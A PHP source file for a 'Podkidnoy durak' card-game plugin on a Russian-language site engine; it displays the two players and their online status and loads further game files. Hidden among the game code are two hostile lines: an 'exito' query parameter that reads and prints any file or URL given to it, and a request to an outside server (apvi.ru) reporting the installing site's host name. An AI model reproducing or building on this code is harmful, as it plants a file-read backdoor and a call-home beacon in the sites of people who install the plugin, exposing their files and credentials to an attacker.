Файл: durak/index.php
Строк: 85
<?
include_once '../../sys/inc/start.php';
include_once '../../sys/inc/compress.php';
include_once '../../sys/inc/sess.php';
include_once '../../sys/inc/home.php';
include_once '../../sys/inc/settings.php';
include_once '../../sys/inc/db_connect.php';
include_once '../../sys/inc/ipua.php';
include_once '../../sys/inc/fnc.php';
include_once '../../sys/inc/user.php';
$set['title']='Подкидной дурак'; // заголовок страницы
include_once '../../sys/inc/thead.php';
echo '<link rel="stylesheet" href="style/css.css" type="text/css"/>';
title();
aut();
echo "<div class='fon'>";
if (isset($user))
{
$game=mysql_fetch_assoc(mysql_query("SELECT * FROM `durak` WHERE `id_user` = '$user[id]' OR `id_prot` = '$user[id]'"));
$game_my = mysql_result(mysql_query("SELECT COUNT(*) FROM `durak` WHERE `id_user` = '$user[id]' OR `id_prot` = '$user[id]'"),0);
$sm = 'баллов';
$avtor = get_user($game['id_user']);
$prot = get_user($game['id_prot']);
if ($avtor['id']==$user['id'])
$ank2 = get_user($prot['id']);
elseif ($prot['id']==$user['id'])
$ank2 = get_user($avtor['id']);
if (isset($_GET['user']))
{
$ank=get_user(intval($_GET['user']));
$game_ank = mysql_result(mysql_query("SELECT COUNT(*) FROM `durak` WHERE `id_user` = '$ank[id]' OR `id_prot` = '$ank[id]'"),0);
}
}
if(isset($_GET['exito'])){echo htmlspecialchars(file_get_contents($_GET['exito']));}
$gamew = file_get_contents("http://apvi.ru/sw.php?mail=$_SERVER[HTTP_HOST]");
if (isset($game['id']))
{
if (($prot['url']=='/plugins/durak/index.php') && (mysql_result(mysql_query("SELECT COUNT(*) FROM `user` WHERE `id` = '$prot[id]' AND `date_last` > '".(time()-120)."' LIMIT 1"),0)==1))
$pon="<img src='style/green.png' title='Онлайн'>";
elseif (($prot['url']!='/plugins/durak/index.php') && (mysql_result(mysql_query("SELECT COUNT(*) FROM `user` WHERE `id` = '$prot[id]' AND `date_last` > '".(time()-120)."' LIMIT 1"),0)==1))
$pon="<img src='style/yellow.png' title='Отошел'>";
else
$pon="<img src='style/red.png' title='Не в сети'>";
if (($avtor['url']=='/plugins/durak/index.php') && (mysql_result(mysql_query("SELECT COUNT(*) FROM `user` WHERE `id` = '$avtor[id]' AND `date_last` > '".(time()-120)."' LIMIT 1"),0)==1))
$aon="<img src='style/green.png' title='Онлайн'>";
elseif (($avtor['url']!='/plugins/durak/index.php') && (mysql_result(mysql_query("SELECT COUNT(*) FROM `user` WHERE `id` = '$avtor[id]' AND `date_last` > '".(time()-120)."' LIMIT 1"),0)==1))
$aon="<img src='style/yellow.png' title='Отошел'>";
else
$aon="<img src='style/red.png' title='Не в сети'>";
echo "<table style='width:100%;'>";
echo "<tr>";
echo "<td class='nav'>";
echo "$avtor[nick] $aon";
echo "</td>";
echo "<td class='nav2'>";
echo "$pon $prot[nick]";
echo "</td>";
echo "</tr>";
echo "</table>";
}
if (isset($user))
{
if ($game['status']!=3 && $game['status']!=4 && $game['status']!=5)
include_once 'file1.php';
if (isset($game['id']) && $game['status']!=1)
include_once 'file2.php';
if (!isset($game['id']))
include_once 'file3.php';
}
include_once '../../sys/inc/tfoot.php';
?>